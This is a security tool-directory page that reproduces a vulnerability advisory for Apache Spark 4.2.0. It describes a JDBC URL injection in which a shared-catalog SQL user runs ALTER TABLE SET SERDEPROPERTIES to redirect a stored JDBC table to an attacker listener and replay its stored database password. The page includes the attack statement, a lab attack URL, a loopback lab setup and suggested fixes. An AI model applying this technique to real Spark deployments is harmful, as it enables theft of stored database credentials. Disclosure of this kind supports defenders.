Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
spark-jdbc-serde-url — Apache Spark 4.2.0 - High - Remote - JDBC URL injection - ALTER TABLE SET SERDEPROPERTIES | Kitploit
Tools/GitHubGitHub/abraxas/spark-jdbc-serde-url
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchRed TeamingDatabase SecurityLabs & Practice
GitHubabraxas/spark-jdbc-serde-url

spark-jdbc-serde-url

Apache Spark 4.2.0 - High - Remote - JDBC URL injection - ALTER TABLE SET SERDEPROPERTIES

View Repository
2 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Abraxas Labs - spark-jdbc-serde-url

abraxaslabs.tech  ·  github.com/abraxas  ·  @abraxas_null  ·  [email protected]  ·  spark-jdbc-serde-url

spark-jdbc-serde-url

Class: JDBC URL injection Reach: Remote

Apache Spark 4.2.0 (32f72996) - Apache Software Foundation

SPARK-31710 stopped scan-time extra options from overriding a stored JDBC url. ALTER TABLE SET SERDEPROPERTIES still merges into storage.properties, which is the JDBC scan option map. Stored user / password are not Spark JDBC option names, so they ride to the new URL.

A shared-catalog SQL user can retarget an operator-provisioned USING jdbc table and replay the stored database password to a host they choose.

IDno CVE yet
ClassJDBC URL injection / stored-credential reuse (leftover of SPARK-31710)
ReachRemote (Connect or Hive Thrift SQL on a shared catalog)
CWECWE-15, CWE-522
CVSSHigh: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
ProductApache Spark
Affected4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8) SQL v1 JDBC tables
Authshared-catalog SQL user (not a job-submit jar)
LicenseGNU Affero GPL v3.0
Lab127.0.0.1:18960 only

What an attacker can do

A Connect gRPC SQL session or Hive Thrift SQL session on a shared externalCatalog that already has a persistent USING jdbc table with stored credentials. Not a job submitter. Not the session that named the original URL.

MethodSinkPrivilege
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') then REFRESH TABLE t / SELECTstorage.properties ++ serdeProperties then JDBC Driver.connect(url, properties)Integrity: retarget the provisioned table to an attacker listener. Lab-proven (connect=yes). Confidentiality: replay stored DB user / password on the PostgreSQL startup and cleartext auth. Lab-proven (user-replay=true password-replay=true). Recon of the secret via SHOW CREATE is closed (redacted).
Same persist, later tenant SELECT on tshared catalog rowIntegrity, inferred: other sessions' queries against t now hit the new URL (wrong DB, attacker-controlled rows). Availability, inferred: original DB is unreachable until an admin resets serde. Out of bar for DoS.
Additional serde keys (sessionInitStatement, prepareQuery, driver)scan options on leftover user / passwordIntegrity, inferred: extra statements or a classpath Driver no-arg ctor. Do not inflate to RCE without a default-classpath gadget. Not exercised.
ALTER TABLE SET TBLPROPERTIESCatalogTable.properties onlyClosed for this walk. Lab-proven (storage url unchanged, no oracle hit).
Scan-time extra option url clashSPARK-31710 generateDatasourceOptionsClosed. Lab-proven (extra-options-clash refused).
spark.read.format("jdbc").option("url", ...) named by the same sessionintended data-planeDROP. Owner-controlled URL is not this leftover.
SET SERDE '<class>' on a datasource tableclass nameClosed (UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE). Not exercised.

Adjacent closed: session-named JDBC / file paths. spark.sql.legacy.extraOptionsBehavior clash check. OSS Spark has no Unity externalOptionsAllowList. CREATE TABLE URL is owner-controlled (not this leftover). JDBC URL log redaction is unconditional. File-table path lives in locationUri. JDBCTableCatalog connections come from session catalog conf (same data-plane as choosing a URL). Single-user pyspark with no shared catalog is out of model.

How I found it

I pinned Spark 4.2.0, not master and not a 4.3 RC. Job submit on an open cluster is by design. The interesting leftovers sit next to named fixes. SPARK-31710 / generateDatasourceOptions refuses a different scan-time url for an existing serde key. SET TBLPROPERTIES writes table.properties only. Datasource tables still allow SET SERDEPROPERTIES and merge into storage.properties (++, later keys win). user and password never enter jdbcOptionNames, so asConnectionProperties hands them to Driver.connect.

properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)

SHOW CREATE redacts password. The SQL user cannot read the secret back. They can still ride it.

Wrong turns already recorded: treating CREATE TABLE url as the bug; filing extra-options clash again; expecting SET TBLPROPERTIES to move storage; claiming SHOW CREATE leaks the password; running a full cluster when the cited Scala is a gadget; a reverse shell. The oracle is a PostgreSQL startup plus cleartext auth on loopback.

Lab

cd lab
./run.sh

Loopback 127.0.0.1:18960 is a PostgreSQL protocol listener. HTTP health is 127.0.0.1:18961. The gadget container is Temurin 21 plus libpostgresql-jdbc-java. Stored URL is jdbc:postgresql://127.0.0.1:1/provisioned (connection refused). Attack URL is jdbc:postgresql://oracle:18960/stolen. Stored user spark_jdbc. Stored password stored-secret-SPARK-JDBC-SERDE-URL. Bind it to loopback.

SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS

The fix

Refuse SET SERDEPROPERTIES keys that clash with stored JDBC url / user / password, the same check generateDatasourceOptions already runs for scan-time extras. Or drop stored user / password when url changes. Or treat datasource JDBC serde as table properties, not storage. Until then, do not grant untrusted SQL ALTER TABLE on a persistent USING jdbc table that stores a password.

References

  • github.com/apache/spark tag v4.2.0 (32f7299601108917fb01920a54e084595b7b3bf8)
  • ddl.scala AlterTableSerDePropertiesCommand
  • DataSource.scala buildStorageFormatFromOptions
  • DataSourceUtils.scala generateDatasourceOptions
  • BasicConnectionProvider.scala
  • JDBCOptions.scala
  • SPARK-31710
  • spark.apache.org/security.html
Download Tool